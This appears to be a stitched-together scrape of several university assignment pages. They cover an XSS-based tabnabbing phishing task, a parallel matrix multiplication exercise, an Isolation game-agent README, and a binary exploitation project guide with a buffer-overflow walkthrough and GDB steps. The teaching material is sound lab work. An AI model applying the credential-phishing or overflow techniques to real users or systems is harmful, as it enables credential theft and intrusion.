web content, as mentioned in our write-up.) In this task, you are determined to steal other users’ credentials. As per an online survey, you learn people open 10~20 tabs on average to surf the Internet. Therefore, you think tabnabbing, one of the phishing attacks that lure users into giving up their credentials, could be a good social engineering attack vector. Here are some references about what tabnabbing is. https://owasp.org/www–community/attacks/Reverse_Tabnabbinghttps://en.wikipedia.org/wiki/Tabnabbinghttps://medium.com/@shatabda/security–tabnabbing–what–how–b038a70d300e Given restrictions https://cs6262.gtisc.gatech.edu has and you being able to exploit the XSS vulnerabilities only, you have to implement a variant of tabnabbing following the requirements below. After the simulated user submits her credentials, you will receive a hash string in your Message Receiver Endpoint.If they are changed, the user may not find the tab and see your phishing page.And, the URL in the address bar should NOT change for the opener tab. Vigilant users may also look at the address bar to determine whether the URL is correct. So, it’s better to keep the original URL to get the user’s trust. document.createElement(‘iframe’), and attach this DOM to the HTML body. Avoid using document.write(…) as it obstructs our bot from filling in the username and password. If your attack changes the webpage after the victim switches back to the attacked tab, the user bot may not be able to fill in the form. Please make sure that the webpage content is changed right after 60 seconds (the victim switched to another tab) and before the victim switches back. When a tab does not have focus, setInterval running inside has a lower resolution. This issue may worsen on user bots when our server runs under pressure. Please be aware of it when you write your script. If the login user to your tabnab page is not the user bot, it will send a wrong hash to your endpoint. Please ensure that it was the user bot who logged in to the tabnab page but not any other users, e.g., you being the victim of your script. Other tips: Do not use window.open for opening a new window (when the victim clicks a link). All submissions will go to GradeScope where an autograder will help you understand the correctness of your solution.Important: Please ensure that all four required files are uploaded.Gradescope will not accept submissions with missing files, and the final score will be 0/100.You can upload an empty file if you have not completed certain tasks yet. Please do not expect TAs to debug your code or provide a walkthrough for the tasks, as you are expected to master the low-level details when you complete this course. Due to our limited bandwidth, we also do not entertain questions answered in our FAQ unless you explain why the FAQ cannot resolve your issues. If you suspect there are issues with our web server or the autograder, please provide details so that we can resolve the issues more efficiently. You can clean your endpoint/inbox by posting tons of messages to your inbox or redoing your Q1.5 in Task 1. Please make sure that you have correctly set your username in the questionnaire. We strongly advise that you DO NOT rely on any AI chat bots or similar AI platforms to generate a solution. Not only does the AI bot forfeit your chance to learn something, but such solutions do not correctly cite sources and are often too like those of other students who also utilize AI bots. Regardless of your intention, we treat them all as plagiarism if we detect very similar solutions. We have kept improving this project for many years. And so many students successfully finished this project. Most unhappy cases are due to typo mistakes, syntax errors in the submitted solution, or misunderstanding of the attack concept. Unlike typical computer system courses, the environment for this project will be out of your control, and you will drive off-road. So, you cannot assume the victim’s environment is the same as yours. If something does not work as expected, we advise you to inspect your code line-by-line (e.g., putting a log message line-by-line) and review the given materials (e.g., tips, videos, other students’ posts, etc.). We don’t debug your code. Learning the attacker’s mind is one of the goals of the project. Although you don’t have server access for debugging, you can inject a script into the project server. Using log messages in the injected script, you can figure out the server’s status (e.g., where it gets stuck) by transferring the log messages from the server to your endpoint.
Last week got you back into programming again, with some reviews about basic thread execution. It’s now time for you to design and implement your first Parallel Program to solve the traditional Matrix Multiplication operation. During the lecture we touched on matrix multiplication as a common example problem for parallel programming. If you need to refresh your brains on how to perform matrix multiplication there are plenty of YouTube video’s out there, but I suggest this one from Khan Academy. Make sure you are clear on how to perform matrix multiplication before continuing. Since this is not a course on matrix multiplication, I have provided you with a starting point that performs matrix multiplication using sequential programming. Download the A1_StartingPoint.cpp file from eConestoga and import it into a Visual Studio solution space. The program has no errors and should compile and execute. HINT As you are performing your development, shrink the size of the arrays down to 10×10 and use the DisplayArray function to help with debugging. The first thing you need to think about is your data. As you start designing parallel software you need to evaluate how many threads you will be using, what are the critical sections of the code and are the threads sharing data? Answer the following questions in the provided text boxes: In order to design a parallel version of this algorithm you will need to design and implement two new functions as follows: FUNCTION #1: parallel_matrix_multiply()This function will be called by the main and perform all the logic to break the data into “chunks” for parallel processing. FUNCTION #2: parallel_helper()This function will contain the source code each thread is responsible for executing. When designing this code, think about the questions you answered above. Once you have implemented your parallel code update the main to execute the parallel processing after the sequential processing, timing how long it takes (just like the sequential code). Add the results of the parallel processing to the Final Results and calculate the efficiency of your new code. HINT: Efficiency = (Sequential_Time / Parallel_Time) / Number of Threads What was were your results? What was your efficiency? Cut and Paste the FINAL RESULTS from your program into the text box below. This cut & paste should include the sequential and parallel processing times and the efficiency calculation. How many cores does your laptop/PC have? Open up the Task Manager and take a look, like we did in the lecture. How many threads did you create? Play around with executing your program using:How does it affect the efficiency of the program? In the text box below, using your own words, explain why you see a difference.You should now have a parallel solution that compiles and runs properly. Next I want you to evaluate the cost of these controls. For this part, you will modify your code to introduce specific controls into the design and answer questions. Place a std::mutex around your results matrix. Anytime you read/write to the results matrix your program must acquire the mutex, perform the operation and release the mutex for other threads to use. Make sure your matrix size is at least 1000×1000 and run your program 10 times. Each time you run your program, log the Efficiency and Execution Time in the text boxes below, then calculate the average Efficiency and Execution Time.Efficiency/Execution Time Output for each of the 10 runsAverage Efficiency: Average Execution Time:Change the std::mutex around your results matrix with a std::shared_mutex and updated your codes logic accordingly. Make sure your matrix size is at least 1000×1000 and run your program 10 times. Each time you run your program, log the Efficiency and Execution Time in the text boxes below, then calculate the average Efficiency and Execution Time.Efficiency/Execution Time Output for each of the 10 runsAverage Efficiency: Average Execution Time:You have now seen the impact of a std::mutex vs. a std::shared_mutex. Can you modify your design to create a faster and/or more efficient solution? Try. Once you have succeeded mark your test data below and explain what you did and why you think it worked. Efficiency/Execution Time Output for each of the 10 runsRubric See eConestoga for details. Once you have completed your assignment upload the following files INDIVIDUALLY to eConestoga using the assignment submission link: Please make sure you delete all .vs (Hidden), release and debug directories before you compress and upload your solution.
This assignment will cover some of the concepts discussed in the Adversarial Search lectures. You will be implementing game playing agents for a variant of the game Isolation.We are also implementing this through Jupyter Notebook, so you all may find it useful to spend some time getting familiar with this software. During the first week of classes, there was an assignment [Assignment 0](https://github.gatech.edu/omscs6601/assignment_0/) that spends some time going through Python and Jupyter. If you are unfamiliar with either Python or Jupyter, please go through that assignment first!### Table of Contents – [Setup](#setup) – [Jupyter](#jupyter) – [Jupyter Tips](#jupyter-tips) – [FAQ](#faq) – [IDE](#IDE) ## SetupFor this assignment, we **highly** recommend you to create a new environment **just** for this one assignment.“` conda create -n ai_env_a2 python=3.9 “`Activate the environment: “` conda activate ai_env_a2 “`In case you used a different environment name, to get a list of all environments you have on your machine, you can run `conda env list`.Install correct package versions that will be used for visualising the game board.“` cd assignment_2 pip install -r requirements.txt “` ## JupyterYou may wish to install the `ipykernel`. This can be done via:“` python -m ipykernel install –user –name ai_env_a2 –display-name “Python 3.9 (AI-A2)” “`Further instructions are provided in the `notebook.ipynb`. Run:“` jupyter notebook “`Once started you can access [http://localhost:8888](http://localhost:8888/) in your browser. ## Jupyter TipsHopefully, [Assignment 0](https://github.gatech.edu/omscs6601/assignment_0/) got you pretty comfortable with Jupyter or at the very least addressed the major things that you may run into during this project. That said, Jupyter can take some getting used to, so here is a compilation of some things to watch out for specifically when it comes to Jupyter in a sort-of FAQs-like style**1. My Jupyter notebook does not seem to be starting up or my kernel is not starting correctly.** Ans: This probably has to do with activating virtual environments. If you followed the setup instructions exactly, then you should activate your conda environment using `conda activate ` from the Anaconda Prompt and start Jupyter Notebook from there.**2. I was running cell xxx when I opened up my notebook again and something or the other seems to have broken.** Ans: This is one thing that is very different between IDEs like PyCharm and Jupyter Notebook. In Jupyter, every time you open a notebook, you should run all the cells that a cell depends on before running that cell. This goes for cells that are out of order too (if cell 5 depends on values set in cell 4 and 6, you need to run 4 and 6 before 5). Using the “Run All” command and its variants (found in the “Cell” dropdown menu above) should help you when you’re in a situation like this.**3. The value of a variable in one of my cells is not what I expected it to be? What could have happened?** Ans: You may have run a cell that modifies that variable too many times. Look at the “counter” example in assignment 0. First, try running `counter = 0` and then `counter += 1`. This way, when you print counter, you get counter = 1, right? Now try running `counter += 1` again, and now when you try to print the variable, you see a value of 2. This is similar to the issue from Question 2. The order in which you run the cells does affect the entire program, so be careful. ## FAQ **1. What depth does the server call my search algorithms with?** Ans: The server will not pass a depth value to your CustomPlayer; whatever you set as the default parameter value will be used on Gradescope. Modifying this default value is extremely important in changing the performance of your agent.**2. How does Gradescope set up and run each game?** Ans: Gradescope will run 20 games in order to determine the win ratio. Your player (CustomPlayer) will be Q1 for 10 of those games and Q2 for 10 of those games. Each player has 1 second to make each move and the first two moves (i.e. each player’s starting location) will be randomized.**3. Can we use multithreading of multiprocessing?** Ans: Sorry, we will not allow multithreading or multiprocessing on this Assignment. It isn’t necessary to successfully complete the Assignment.**4. I have a question about the isolation API or the workings of the framework. Where should I learn more?** Ans: Firstly, watch the recorded YouTube video of assignment 2 where isolation API is covered. If this video and the docstrings inside isolation.py leave you with more questions, feel free to post a question on Ed and a TA will respond as soon as possible with clarifications, or come to office hours to discuss further.**5. Can I add more functions to replace some of the existing functions? Can I import other packages as well?** Ans: No. Please do not add any more functions or imports. You should be able to finish the assignment by replacing the `NotImplementedError`.**A more in-depth FAQ will be posted on Ed** ## IDEIn case you are willing to use IDE (e.g. Pycharm) to implement your assignment in `.py` file. Please run:“`bash python helpers/notebook2script.py submission “`You will get autogenerated `submission/submission.py` file where you can write your code. However, make sure you have gone through the instructions in the `notebook.ipynb` at least once.
DetailsAssignment 2: assignment_2.zip (https://gatech.instructure.com/courses/485354/files/65889067?wrap=1) (https://gatech.instructure.com/courses/485354/files/65889067/download?download_frd=1)In the zip file above you will find:A2.ipynb : a Jupyter notebook (.ipynb) file data/ : a directory called ‘data’ with one or more filesTo complete this assignment, follow the steps below: with the exception of cells that include a single function definition that you added as utility function in the appropriate section, delete any cells that you added that were not already part of the notebook (such as testing cells). Extra cells can sometimes trip up the autograder and require manual intervention. The smoother all the notebooks run, the sooner students can receive feedback.
________________________________________ Learning Goals Students will learn introductory level concepts about binary exploitation. This project is designed to develop your understanding of control flow hijacking through different tasks/challenges showcasing select vulnerabilities or weaknesses in compiled binaries. By the project’s end, you should… • …be familiar with simple C syntax and assembly operations. • …able to identify common memory-based vulnerabilities. • …capable of crafting basic exploits from scratch Tools you will use • Python – While you are welcome to craft your exploits using other tools/frameworks, in this project we teach to using Python and the pwntools library for automating/scripting our exploits. • GDB – The GNU Debugger is a useful tool for understanding the underlying behavior of a program during runtime. We have extended its native capabilities with the pwndbg plugin for additional output and readability. • objdump – The objdump tool will allow us to disassemble the compiled binaries, affording us an opportunity to perform static analysis of the binary’s instructions at a more granular level than what the C source code alone can. • ropper – A useful tool for identifying so-called “gadgets” to facilitate return-oriented programming (ROP). Additional information concerning what ROP and gadgets are will be covered in the appropriate sections of the project.Recommended Reading To deepen your understanding of binary exploitation, consider reviewing: • The ~/project/tutorial/README.md and the associated follow-along code. • The project tutorial videos: o Buffer Overflows o ROP • pwntools Documentation • GDB command cheat sheet • This Writeup explaining some rudimentary basics of Computer Architecture • This Lecture on how the Stack and Function Calls work in C The final deliverables: A single JSON-formatted file will be submitted to Gradescope. This file should be named project_binexp.json. A template can be found on the Submission Details page. Project Environment This project runs in an OVA-formatted Virtual Machine (VM) with all the binaries/tools required, and must be used to generate the correct flags. We recommend running the VM through Oracle’s Virtualbox software. Login credentials for the VM to access the project’s materials can be found through Canvas. ________________________________________ TABLE OF CONTENTS • FAQ • Stage 00 – Setup/Validation — (1 flags) • Stage 01 – Intro to Assembly — (2 flags) • Stage 02 – Stack Smashing —– (3 flags) • Stage 03 – ROP ———————- (2 flags) • Stage 04 – Final Flags ————- (3 flags) • Submission DetailsFrequently Asked Question(s) (FAQ) • Frequently Asked Question(s) (FAQ) • Submission and GradeScope • Logistics & Setup o Q1) Can I SSH into the VM and perform the project? o Q2) Can I recompile the binaries? o Q3) May I move/relocate the files from their default location? • General o Q1) How can I go about submitting a question about the project? o Q2) How do I know if I got the flag for a given binary? o Q3) I got to the flag in GDB but I don’t see a message output with the flag; where is it? o Q4) How does cyclic() and cyclic_find() work? o Q5) Do I have to use e.py? o Q6) What is “/proc/flag”? o Q7) I’m given a different flag everytime I run my exploit; is something wrong? o Q8) I’m making the call to read from /proc/flag but my exploit keeps seg-faulting; what’s wrong? o Q9) My e.py file is throwing a “can only concatenate str (not bytes) to str” error; what gives? o Q10) When I’m stepping through instructions in GDB, I enter “n” and it skips over my desired target function call; help! o Q11) Why are the tasks prefixed with numbers like 01, 02, 03_, etc.? o Q12) I want to run VSCode in the VM, can I? ________________________________________ Make sure you have read: • This Writeup explaining some rudimentary basics of Computer Architecture • Please refer to: Required Reading > VM Troubleshooting, for VM related troubleshooting questions. Make sure you have watched: • This Lecture I’m Developing on how the Stack and Function Calls work in C • This CS6035 Project 1 pwntools/pndbg Tutorial video Submission and GradeScope Please navigate to the Submission Details menu page, left. Logistics & Setup Q1) Can I SSH into the VM and perform the project? When you run your e.py exploits with GDB, a separate terminal is opened with the process hooked to GDB. Some students have reported handling this by using tmux. Once you SSH into the VM, kill existing tmux sessions: tmux kill-session And then start a new tmux session with: tmux -CC This will open up a new window with 2 separate scrollable sections for pwndbg and e.py. Q2) Can I recompile the binaries? If it helps your comprehension, you’re welcome to recompile the source code with whatever alterations you want; in fact, we suggest doing this in some of the binaries in section 04, for example. However, we have fingerprinted the binaries that are shipped out to you all with the project; your final exploit(s) will need to utilize them as is. Gradescope will recognize if you attempt to submit a flag from a binary that wasn’t among the original set. Q3) May I move/relocate the files from their default location? We strongly discourage this. The binaries rely on files residing in particular locations, such as /home/binexp/user.txt, among others. However, you ARE welcome to make copies/backups as needed if it helps facilitate your testing.General Q1) How can I go about submitting a question about the project? We respectfully request that you direct all questions to the corresponding Ed Discussion megathreads. Please do not seek to open a private post or email the TA team directly unless directed to do so. If after triaging your question we believe it necessary for you to open a private post, we’ll request you to do so. Posting your question(s) on the public Megathreads provides the added benefit of a reviewable archive for your peers who may have similar questions/problems that they are likewise working through. We encourage you all to feel free to respond to one-another with your own insights to the project. We just ask that you err on the side of discretion when it comes to sharing overly prescriptive solutions, exploit code, assembly instruction addresses, etc. Q2) How do I know if I got the flag for a given binary? All of the flags in the project are read-in by the binaries through /proc/flag. For an example of what that might look like, see: Note how our flag generator denotes both your GTID (which is derived from /home/binexp/user.txt) and the exact binary that was used to produce the flag. You can cross-reference this information in case you encounter issues with Gradescope. Q3) I got to the flag in GDB but I don’t see a message output with the flag; where is it? We have configured our flag generation-mechanism (/proc/flag) to deny providing any flags to users who attempt to read from it via GDB. This is deliberate, because as a debugger GDB has a multitude of functionality that would undercut the learning objectives of the tasks. This includes – but isn’t limited to – using the set and call commands, for example. You will need to naturally arrive at reading from /proc/flag either directly from directly interacting with the binary along the command line or through a non-GDB optioned invocation of your e.py file (e.g. python3 e.py). Q4) How does cyclic() and cyclic_find() work? We encourage you to read up on the tools you’re utilizing: https://docs.pwntools.com/en/stable/util/cyclic.html In brief: cyclic() produces a bytestring of length “n”, where n is some integer value between 0 and the largest possible positive integer supported by the platform (e.g. sys.maxsize). Example usages might look like: • cyclic(10) • cyclic(25) • cyclic(3000) The output of cyclic() is a bytestring with a unique character sequence in chunks of 4 bytes at a time: In the above screenshot, you can see the pattern as: • aaaa • baaa • caaa • etc. This pattern is the same with every invocation of cyclic() and terminates at the nth character. cyclic_find() reverse-engineers the above. It provides an integer corresponding to a particular segment in that aforementioned bytestring; you can supply it with a variety of inputs (e.g. a bytestring, a hex representation, etc.): Q5) Do I have to use e.py? No. We provide you the e.py template code as an optional means of interacting with the binaries. You are welcome to exploit them through whatever other means you’d like (in fact, some of the challenges may be easier without using e.py). Q6) What is “/proc/flag”? The /proc/flag file is the target for all of the binary exploits in this project. Every time a user reads from it, it outputs a uniquely encoded result (which we erroneously refer to as a “hash”) that contains reversible information fingerprinted to it that the autograder uses to evaluate for correctness. You can test if /proc/flag is running trivially by reading from it like so: cat /proc/flag Note: while doing the above should yield a flag hash, it will not be accepted/validated by the autograder. Valid hashes will only be returned from exploiting the binaries. Q7) I’m given a different flag everytime I run my exploit; is something wrong? No. This is expected behavior and nothing to worry about. Q8) I’m making the call to read from /proc/flag but my exploit keeps seg-faulting; what’s wrong? In most cases of this happening, your exploit is catching on a movaps instruction somewhere within system.c like in the screenshot below: If this is the case, the issue is related to a stack-misalignment problem. Because our exploits forcibly redirect the control flow in ways the process wasn’t expecting, there can be downstream consequences as the process executes along and refers back to our maliciously overwritten stack. By-and-large, you generally want to consider jumping to a different instruction within your targeted function. Q9) My e.py file is throwing a “can only concatenate str (not bytes) to str” error; what gives? The error is telling you that you’re mixing your data types in your payload within e.py: ## WRONG payload = “A” * 100 #type str payload += p64(0xwhatever) #type bytes## RIGHT payload = b’A’ * 100 #type bytes payload += p64(0xwhatever) Q10) When I’m stepping through instructions in GDB, I enter “n” and it skips over my desired target function call; help! We speak to this in the 01 section, step 1.2: 01_bb_steps. Both the (n)ext and next instruction (ni) GDB commands step over function calls. To enter the function you need to (s)tep inside (or step inside, immediate instruction (si)).Q11) Why are the tasks prefixed with numbers like 01, 02, 03_, etc.? We’ve labeled the tasks with numbers to reflect their relative perceived difficulty. You do not need to complete the tasks in any particular order. If you get stuck working on a problem, try working through some of the other challenges and come back. As a clarifying note: Stages 00 through 04 are different from the numbered prefixes in front of the exercise names. The Stage numbers are meant to help organize the various exercises by their corresponding subject matter. Each stage may have any number of 01_ thru 03_ exercises. Q12) I want to run VSCode in the VM, can I? Yes! We have an installer script located at /home/InstallVSCode.sh. The binexp user has sudo permissions to run this script. Unfortunately in order to preserve the integrity of this and other projects, we will not be providing root access to the VM. Any other software you want to install on the VM is allowed, provided you do not need those privileges. Stage 00 • Learning Objectives • Exercises • Step 0.1 • Step 0.2 o 01_basic_overflow_1 Instructions OPTIONAL: Try using e.py! • Step 0.3 Welcome to the Binary Exploitation (BinExp) project for CS6035! We’re excited to have you with us for this effort. Binary exploitation is a really interesting and challenging domain within cybersecurity. It rests at the intersection of many sub-disciplines, including reverse engineering, low-level programming, operating systems, code review, etc. You’ll be expected to draw upon a variety of subjects matter in approaching and working through the challenges of this project. Understandably, many students find the project challenging at some point (or many points), due to the need to perform additional research in those areas on top of working the problems themselves; as such, we encourage you to not delay in getting started with the project! Each stage within this project presents a set of learning objectives and associated challenges. We’ve endeavored to present these challenges in a logical order in the form of “Stages”, starting here in Stage 00 as a guided introduction to the project through to Stage 04 where you’ll be crafting your own novel exploits to some unique challenges. Within each stage, there are a number of exercises affiliated with the related material ranging from “easier” content (prefixed as 01, such as 01_basic_overflow_1) to more challenging tasks (difficulty 03). While we encourage students to proceed through the challenges in-order if you’ve never done anything like this before, you are welcome to approach this projects’ challenges in any order you’d like; in fact, if you’re stuck on an exercise it may be best to move along and return back later. Learning Objectives The learning objectives for this section are: • Project setup and understanding the project architecture • High-level introduction/exposure to project materials • Validation of project infrastructure, including: o Environment setup o /proc/flag o Gradescope Exercises This section features 1 exercise: • 01_basic_overflow_1 Step 0.1 Before diving in, let’s ensure that our project environment is appropriately configured. 1. This project utilizes the same virtual machine (VM) that is used for other projects within CS6035. If you’ve already got it configured, great! If not, see the respective “Course VM Download Thread” post in Ed Discussion for instructions. 2. Please follow the instructions in Canvas (navigate to “Assignments” > “Binary Exploitation”) for login credentials to the VM as well as the requisite commands for fetching the project files. 3. Navigate to /home/binexp/user.txt and set it to your nine-digit GTID. If you do not know your GTID, you should be able to discover this through https://gtid.gatech.edu. Note: if you fail to set this, no responses you submit to Gradescope will be accepted as correct. Below is a brief summary of the project’s contents: • project_binexp.json: This is the one (and only) file you will submit to Gradescope to have your work be evaluated. See the Submission tab along the left-hand side of this page for additional guidance concerning project submission guidelines. • project*: This is the directory and subdirectories that make up the project. Each subdirectory reflects an individual challenge within the project and contains all of the files necessary for solving that particular challenge. We have included a projecttutorial subdirectory that has amplifying guidance material to help get you oriented to the projects’ techniques. The contents of projecttutorial are not mandatory or graded – you should not include any practice work results you perform there in your project_binexp.json file. • project*flag: For most of the challenges, this is the compiled binary you’re attempting to exploit. If it isn’t, the student instructions for that particular challenge will say so. • project*flag.c: This is the source code for the flag binary, above. This is intended to be a useful reference to aid in identifying and crafting your exploits of flag. • project*e.py: This is a python3 script with some templated skeleton exploit code. You are welcome to use/ignore this as you see fit. • project*e.py.bak: This is just a copy of the initial state of e.py in case you accidentally delete it or wish to revert back to start. Simply copy from this file to get a clean-slate e.py. In all of the projects’ binaries, your goal is to have the binary read from /proc/flag! Most of the time, this is via a system() call like: system(“cat /proc/flag”); However, sometimes it’s not that simple – carefully analyze your source code within each challenge to figure out how the binary is meant to read from /proc/flag. Step 0.2 01_basic_overflow_1 INSTRUCTIONS Now, let’s take a look at our first introductory challenge to ease us into the exploit development process at a high-level: 01_basic_overflow_1. We’re going to walk you through this one just to give you a sense of what’s to come. In this task, we’re looking at a simple buffer overflow. A buffer overflow occurs when input exceeds the expected bounds it’s intended to write to, thereby spilling outside those bounds and overwriting other areas of memory. Generally speaking, this kind of incident leads the running process to crash. However, a crafty (and determined) malicious actor may be able to get the process to do something else altogether! If we were to review the source code for our binary (flag.c), we could start by tracing the code execution flow starting at main(), which is the starting point for all C program code. cat ~/binexp/01_basic_overflow_1/flag.c 1. The main() function starts by initializing the variable make_me_not_zero to 0. 2. It then declares an int buffer of size 300. 3. There’s a printf() call, which would write some instructions to the user to stdout. 4. The process then blocks for user input with scanf(), writing the input to buffer. 5. There’s then a if-conditional check to see if make_me_not_zero is still 0. If it is, the process terminates; if it isn’t, we arrive at our desired destination in the binary which reads our flag out for us. Intuitively, we can start to build our attack chain in reverse: • We want to get to the function call that reads out our flag. • To get to the above, we need to have make_me_not_zero not be zero by the time the if-conditional evaluates. • Since the program does not otherwise allow for us to set make_me_not_zero, we need to either overwrite it in memory or otherwise disrupt the control flow of the process. • Our only input to the process is along the scanf() call, so we’ll investigate what exploit opportunities exist around here. Now many of you may not necessarily be professional exploit developers already (in fact, some of you may not have exercised secure coding practices in C more generally); understandably, the vulnerability may not immediately be apparent. But if we look into references for scanf(), we can see that it reads in from stdin with the “s” specifier standing for… Any number of non-whitespace characters, stopping at the first whitespace character found… “Any number of non-whitespace characters”?! But buffer only allocates for 300 int (300 * 4 bytes)! This adds affirmation to our above-described attack-chain that a buffer overflow may be possible. OPTIONAL: TRY USING E.PY! Let’s test our assumptions! Open e.py and take a minute to look it over. When you’re ready, uncomment the following line: payload = b’A’ * 1209 …and then run it with our dbg option: python3 e.py dbg Assuming you’re running this in the VM, you should see another terminal open running GDB with the pwndbg extension. Don’t worry too much about understanding what’s happening here for now; we have several exercises coming up in other stages that dive into all of this. In brief, you’ve launched a debugger and hooked it onto the flag process; that process has ran and is now paused at the start of the main() function. For now, enter “c” or “continue” and let the process resume running. GDB will likely halt again, throwing a SIGSEGV segmentation fault. Examining the BACKTRACE log panel will show that our main() function successfully made the subsequent function calls necessary to read out the flag; there will also be error messaging informing you of your test’s success – though specifying you need to run your exploit outside of GDB. For us to do that, we’d want to re-run e.py without the ‘dbg’ option like so: python3 e.py Make sure you’ve uncommented the payload line, or it won’t work! Again, don’t worry too much right now about understanding all of the information that GDB is showing you. We’ll go more in-depth with that in the section(s) to follow. For now, go ahead and close the GDB window (or type in “q” or “quit”). Step 0.3 Having developed our attack chain as a thought exercise and (optionally) affirmed our assumptions through GDB, we can now move on to exploiting the binary for our flag. Using either e.py or the command line, run flag and pass at least 1209 characters to the program and receive your flag. Now enter that hash into your project_binexp.json file and submit it to Gradescope to confirm you’ve correctly walked-through the initial setup! Again, if you’re uncertain about the format for what project_binexp.json should look like, see the Submission tab to the left. Common Pitfalls “Why 1209 characters?”Some students may be puzzled by the specificity of 1209. Recall that we need at least 1200 bytes to fill up buffer[300]; the additional 9 bytes are owed to make_me_not_zero being of type u_int64_t. Because of this, make_me_not_zero must be aligned to an 8-byte boundary on the stack which – as it turns out – buffer is not in its addressing. At compile time, several additional “padding” bytes are added in order to properly align make_me_not_zero to this boundary. Ergo, the overflow is 1200 bytes for buffer, 8 bytes to fill the padding, and then at least 1 byte to change the value of make_me_not_zero.Keep this concept of stack alignment in mind as we progress through the challenges, as the idea of keeping the stack aligned will almost assuredly come back up later.“I entered a large payload value; I can see the “got it” message printing but I didn’t get a flag.”While you *could* enter a payload larger than 1209 characters and still get the flag, you do run the risk of actually submitting a payload that’s *too* large. While this does still cause the if-conditional to be evaluated properly, it causes some stack alignment issues that triggers a fault downstream within the flag generating call. Try just 1209 characters.________________________________________ DISCLAIMER: This website and its content are provided for educational purposes only as part of CS 6035 at Georgia Tech. Students are responsible for verifying all information and should not rely solely on website content for academic decisions. Course materials, assignments, policies, and deadlines are subject to change without notice. Georgia Tech and course instructors are not liable for any damages resulting from use of this website or its content. External links are provided for convenience only and do not constitute endorsement. Students must comply with all applicable academic policies and honor codes. Virtual machine exercises and security tools are for educational use only – unauthorized use against real systems is prohibited. © 2025 Georgia Institute of Technology. All rights reserved. Unauthorized reproduction, distribution, or commercial use is strictly prohibited. Stage 01• Overview o Learning Objectives o Exercises • Step 1.1 o Why are we interested in Assembly at all? o Why are we interested in CPU registers? • Step 1.2: Exercise 1 • Step 1.3: Exercise 2 Overview In this part of the project, we’re going to focus more narrowly on some of the foundational aspects that undergird binary exploitation more generally. We’ll look at Intel x86 Assembly, using our tools like GDB to evaluate runtime statuses, and look to solidify our comprehension with the project environment before launching into the more exploit-centric material to come. Learning Objectives The core learning objectives for this section are: • A baseline familiarity with Intel x86 Assembly. • Utilizing GDB. • C programming language comprehension. Exercises This section features 2 exercises: • 01_bb_steps • 02_assemble_the_assembly Step 1.1 Why are we interested in Assembly at all? When you compile a source code file (such as flag.c), the compiler (like gcc) translates the high-level human-readable code into machine code that the computer’s processor can execute. A number of operations are performed at compile time (such as optimizing and linking), which obfuscates the binary’s original source code. However, we can still use a disassembler (like objdump) to translate machine code back into lower-level assembly instructions. In practice, exploit developers generally do not possess the original source code of the binaries they research. But they can utilize tools to pour over and examine the assembly instructions – which can be just as good (provided you know how to read/contextualize assembly). Understanding what these assembly instructions are doing – both individually and collectively – is a fundamental baseline for reverse engineering (and by extension, exploit development). NOTE: there are also tools that can “de-compile” binaries; these take the translation a step further by attempting to recreate the source code from the disassembled instructions. However, this is often incomplete and – in some cases – inaccurate. We do not supply you with a decompiler tool in this project because we provide you with the original source code. We’ve also compiled all our binaries in gcc with the -g flag, which produces debugging info in the OS’ native format that GDB can use to rebuild the source. Being able to read and comprehend assembly is often a labor-intensive process, especially if you’ve primarily been exposed to only higher-level languages before. We encourage you to lean into this challenge, however. Without fostering this aptitude, you’ll often be left in a position of brute-forcing/guesswork (being unsure what a process is doing or why your exploit is behaving a certain way). If this is your first time seeing/engaging x86 Assembly be forewarned that you’ll need to be a quick study for this project. This section’s exercises are meant to help orient you more generally, but the sections to follow will require a firm understanding if you want to avoid getting lost. In the table below, we’ve listed some of the common instructions you’ll encounter in the course of this project. At a high-level, assembly operations (e.g. mov, xor, ret, etc.) may have 0, 1, or 2 “arguments” to them depending on the particular operation – these arguments are referred to as “operands”. Depending on the instruction, the operand may be a value, something referential to the stack/heap, or a register. We encourage you to consult other reference material as needed to foster your comprehension. Instruction Description mov Moves the contents of one memory location into another (as specified by operands). xor XORs the values of 2 locations in memory against one another, storing the result in the primary operand. lea “Load effective address”: computes an address of the source operand and stores it in the general register specified by the second. call Saves procedure linking information on the stack and branches to the called procedure; in layman’s terms: it initiates a function call. jmp This is an unconditional jump, redirecting the control flow to elsewhere in the binary’s instruction set. Examples of conditional jumps may apppear as jne, jnz, etc., which make the jump only if particular conditions are met (common at branches, such as if-else blocks). ret Returns transfer of the program control to a return address on the top of the stack; commonly the last instruction performed by most disassembled functions. Why are we interested in CPU registers? Registers are part of a CPU’s architecture and are used to store data and perform operations. Assembly instructions make use of registers all the time (and by extension, the stack and heap – topics for another section). In the setup exercise (basic_overflow_1), you may have observed some of the registers and their contents at runtime within the GDB debugger like so:In the above screenshot, the various R* values (RAX, RBX, RCX, etc.) in red along the left-hand side denote the CPU registers. The values immediately adjacent to them reflect what is presently stored in them. You’ll see that sometimes the register can hold referential addresses which point to other locations in memory (see RAX, RBX, RDX, RSI, etc.) whereas others contain the value itself (e.g. RDI, R8, R11, etc.). You can always query the current value of a register in GDB. For example, let’s say we wanted to view the contents of RDI: pwndbg> x $rdi Throughout this course, you’re going to be working with 64-bit registers. Besides being different in size from 32-bit registers, there’s actually some important architectural differences that you’ll need to know as they relate to binary exploitation. More to-the-point, not all registers are used in the same way by the CPU. Function calls – for example – look at specific registers for things like function arguments. For now, we encourage you to perform independent research into RBP, RSP, and RIP as these will be very important in the sections/exercises to follow. Step 1.2: Exercise 1 01_bb_steps Resources • See our buffer overflow tutorial video • https://www.cs.uaf.edu/2017/fall/cs301/lecture/09_11_registers.html Challenge Instructions This challenge is meant to be a soft introduction to using GDB; however, you are also welcome to calculate the values by hand in reading the source code (flag.c) if you so choose. We recommend using GDB if you have never done so before because of how extensively the remaining project exercises engage the tool. We can begin by manually starting GDB and hooking it to the flag binary process like so: cd ~/project/01_bb_steps/ gdb flag We have extended the default vanilla GDB tool with pwndbg in order to help with things like readability and utility. If you were instead to invoke the binary into GDB with e.py (python3 e.py dbg), you’d observe GDB open as a separate window (see FAQ for folks opting to SSH into the VM). Either way, the pwndbg prompt will wait for you to enter a command; let’s start by setting a breakpoint for the debugger to catch on: pwndbg> b main The above sets a breakpoint at the start of the main() function (Note: as a courtesy, all of your e.py files have this configured by default when you invoke the dbg option). Recall that all C-based programs start execution at main(), so we can reliably expect such a function to be present in all of our binaries for this project. Let’s now start the flag binary by running it: pwndbg> r Within the GDB interface window, you’ll likely see a flurry of text/blocks showing various things like stack traces, register printouts, code prints, and more. GDB will pause the process’ execution at the start of main() (where we set our breakpoint) and await for the next command.If you look at the DISASM readout, you’ll note that we’re not quite yet where we want to be. Let’s go to the next instruction, call bb_steps: pwndbg> ni The call instruction makes a function call, in this case to the bb_steps() method. If we were to use n or ni now, we’d 